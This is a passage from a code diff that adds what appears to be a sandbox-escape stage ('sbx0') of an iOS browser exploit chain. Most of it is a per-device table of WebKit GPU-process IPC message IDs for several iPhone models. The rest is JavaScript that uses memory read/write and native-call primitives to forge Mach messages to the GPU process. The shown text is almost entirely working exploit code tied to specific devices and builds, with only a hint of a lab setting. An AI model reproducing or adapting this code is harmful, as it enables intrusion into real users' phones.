0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + } + +}); + + print("sbx0 device_model: " + device_model); + print("sbx0 offsets keys count: " + Object.keys(sbx0_offsets).length); + print("sbx0 has key: " + (device_model in sbx0_offsets)); + var __sbx0_dm = __labResolveOffsetKey(sbx0_offsets, device_model); + var MessageName = sbx0_offsets[__sbx0_dm]; + print("sbx0 MessageName: " + (MessageName === undefined ? "UNDEFINED" : "OK")); + function LOG(msg) { + log('sbx0: ' + msg); + } + const MACH_MSG_TYPE_MOVE_SEND = 0x11; + const MACH_MSGH_BITS_COMPLEX = 0x80000000; + const MACH_MSG_PORT_DESCRIPTOR = 0; + const KERN_SUCCESS = 0n; + const MACH_PORT_NULL = 0; + const outOfLineBodyMessageID = 0xdba1dba; + const inlineBodyMessageID = 0xdba0dba; + const streamBufferServerOffset = 0n; + const streamBufferClientOffset = 0x80n; + const streamBufferDataOffset = 0x100n; + const sizeof_mach_msg_header_t = 0x18; + const sizeof_mach_msg_body_t = 0x4; + const sizeof_mach_msg_port_descriptor_t = 0xc; + const sizeof_mach_msg_ool_descriptor_t = 0x10; + const inlineMessageMaxSize = 4096; + const receiveBufferSize = 0x1044; + const receiveBufferSizeAsBigInt = BigInt(receiveBufferSize); + const receiveBuffer = new ArrayBuffer(receiveBufferSize); + const receiveBufferU8 = new Uint8Array(receiveBuffer); + const receiveBufferDataPointer = receiveBuffer.data(); + const __mach_task_self = read32(offsets.mach_task_self_ptr); + const GL_VERTEX_SHADER = 0x8B31; + const GL_FRAGMENT_SHADER = 0x8B30; + const GL_ARRAY_BUFFER = 0x8892; + const GL_STATIC_DRAW = 0x88E4; + const GL_TEXTURE_2D = 0x0DE1; + const GL_DEPTH_COMPONENT32F = 0x8CAC; + const GL_DEPTH_COMPONENT = 0x1902; + const GL_FLOAT = 0x1406; + const GL_PIXEL_UNPACK_BUFFER = 0x88EC; + const GL_UNPACK_IMAGE_HEIGHT = 0x806E; + function ASSERT_NOT_REACHED(message) { + log(`ASSERT_NOT_REACHED: ${message}`); + fcall(offsets.exit, 0n); + while (1); + } + function ASSERT(condition, message) { + if (!condition) { + log(`ASSERT: ${message}`); + fcall(offsets.exit, 0n); + while (1); + } + } + class MachMessage { + static safeRoundMsg(value) { + const alignment = 8; + return Math.floor((value + (alignment - 1)) / alignment) * alignment; + } + static messageSize(bodySize, portDescriptorCount, memoryDescriptorCount) { + let messageSize = sizeof_mach_msg_header_t; + messageSize += bodySize; + if (portDescriptorCount || memoryDescriptorCount) { + messageSize += sizeof_mach_msg_body_t; + messageSize += portDescriptorCount * sizeof_mach_msg_port_descriptor_t; + messageSize += memoryDescriptorCount * sizeof_mach_msg_ool_descriptor_t; + } + return MachMessage.safeRoundMsg(messageSize); + } + } + ; + class Connection { + constructor(connection_ptr, ownership = false) { + if (connection_ptr) { + this.connection_ptr = connection_ptr; + this.sendPort = read32(connection_ptr + 0x138n); + this.receivePort = read32(connection_ptr + 0x148n); + ASSERT(this.sendPort, "sendPort is NULL"); + ASSERT(this.receivePort, "receivePort is NULL"); + if (ownership) { + write64(connection_ptr + 0x148n, 0n); + } + } + } + setSendPort(sendPort) { + this.sendPort = sendPort; + } + createReceivePort() { + const portBuffer = new BigUint64Array(1); + let kr = fcall(offsets.mach_port_allocate, __mach_task_self, 1n, portBuffer.data()); + ASSERT(kr == KERN_SUCCESS, "mach_port_allocate failed"); + const receivePort = portBuffer[0]; + kr = fcall(offsets.mach_port_insert_right, __mach_task_self, receivePort, receivePort, 0x14n); + ASSERT(kr == KERN_SUCCESS, "mach_port_insert_right failed"); + return this.receivePort = receivePort; + } + tryConsumeMessage() { + while (1) { + const kr = fcall(offsets.mach_msg_fn, receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, BigInt(this.receivePort), 0n, 0n); + if (kr == KERN_SUCCESS) { + return true; + } else if (kr == 0x10004003n) { + return false; + } else { + ASSERT_NOT_REACHED(`tryConsumeMessage: maybe gpu dead (code: ${kr.hex()})`); + } + } + } + tryReceiveMessage() { + let logged = false; + while (1) { + const kr = fcall(offsets.mach_msg_fn, receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, BigInt(this.receivePort), 5000n, 0n); + if (kr == KERN_SUCCESS) { + const buffer = new ArrayBuffer(receiveBufferSize); + const bufferU8 = new Uint8Array(buffer); + bufferU8.set(receiveBufferU8); + return new Decoder(buffer); + } else if (kr == 0x10004003n) { + if (!logged) { + logged = true; + LOG("[!] mach_msg(): process not responding"); + } + continue; + } else { + ASSERT_NOT_REACHED(`tryReceiveMessage: maybe gpu dead (code: ${kr.hex()})`); + } + } + } + receiveMessage(messageName) { + while (1) { + const decoder = this.tryReceiveMessage(); + if (decoder.messageName == messageName) { + return decoder; + } + } + } + receiveMessages(messageNames) { + const result = new Array(messageNames.length); + let count = 0; + while (1) { + const decoder = this.tryReceiveMessage(); + for (let i = 0; i < result.length; ++i) { + if (!result[i] && decoder.messageName == messageNames[i]) { + LOG(`Connection.receiveMessages(): met ${messageNames[i].toString(16)}`); + result[i] = decoder; + ++count; + if (count == messageNames.length) { + return result; + } + } + } + } + } + receiveSyncReply(syncRequestID) { + while (1) { + const decoder = this.receiveMessage(MessageName.SyncMessageReply); + if (decoder.decode('uint64_t') == syncRequestID) return decoder; + } + } + sendMessage(encoder, attachments = []) { + const buffer = encoder.buffer(); + const numberOfPortDescriptors = attachments.length; + let messageBodyIsOOL = false; + let messageSize = MachMessage.messageSize(buffer.byteLength, numberOfPortDescriptors, messageBodyIsOOL); + if (messageSize > inlineMessageMaxSize) { + messageBodyIsOOL = true; + messageSize = MachMessage.messageSize(0, numberOfPortDescriptors, messageBodyIsOOL); + } + const isComplex = numberOfPortDescriptors || messageBodyIsOOL; + const message = new ArrayBuffer(messageSize); + const view = new DataView(message); + view.setUint32(0, isComplex ? 0x80000013 : 0x13, true); + view.setUint32(4, messageSize, true); + view.setUint32(8, Number(this.sendPort), true); + view.setUint32(0x14, messageBodyIsOOL ? outOfLineBodyMessageID : inlineBodyMessageID, true); + let messageOffset = 0x18; + if (isComplex) { + view.setUint32(messageOffset, numberOfPortDescriptors + messageBodyIsOOL, true); + messageOffset += 4; + for (const attachment of attachments) { + view.setUint32(messageOffset, Number(attachment), true); + view.setUint32(messageOffset + 4, MACH_MSG_PORT_DESCRIPTOR, true); + view.setUint32(messageOffset + 8, MACH_MSG_TYPE_MOVE_SEND << 16, true); + messageOffset += sizeof_mach_msg_port_descriptor_t; + } + if (messageBodyIsOOL) { + view.setBigUint64(messageOffset, buffer.data(), true); + view.setUint32(messageOffset + 8, 0x1000100, true); + view.setUint32(messageOffset + 0xc, buffer.byteLength, true); + messageOffset += sizeof_mach_msg_ool_descriptor_t; + } + } + if (!messageBodyIsOOL) { + const buffer_u8 = new Uint8Array(buffer); + const message_u8 = new Uint8Array(message); + for (let i = 0; i < buffer_u8.byteLength; ++i) { + message_u8[messageOffset + i] = buffer_u8[i]; + } + } + const header = message.data(); + return fcall(offsets.mach_msg_fn, header, 145n, BigInt(messageSize), 0n, 0n, 0n, 0n); + } + } + ; + class Decoder { + constructor(buffer) { + this.buffer = buffer; + this.offset = 0; + this.view = new DataView(this.buffer); + this.attachments = []; + const isComplex = !!(this.view.getUint32(0, true) & MACH_MSGH_BITS_COMPLEX); + if (isComplex) { + const numberOfPortDescriptors = this.view.getUint32(0x18, true); + const sizeWithPortDescriptors = sizeof_mach_msg_header_t + sizeof_mach_msg_body_t + numberOfPortDescriptors * sizeof_mach_msg_port_descriptor_t; + let descriptorOffset = 0x1c; + const messageBodyIsOOL = this.view.getUint32(0x14, true) == outOfLineBodyMessageID; + this.isOOL = messageBodyIsOOL; + const numberOfAttachments = messageBodyIsOOL ? numberOfPortDescriptors - 1 : numberOfPortDescriptors; + for (let i = 0; i < numberOfAttachments; ++i) { + this.attachments.push(BigInt(this.view.getUint32(descriptorOffset, true))); + descriptorOffset += sizeof_mach_msg_port_descriptor_t; + } + if 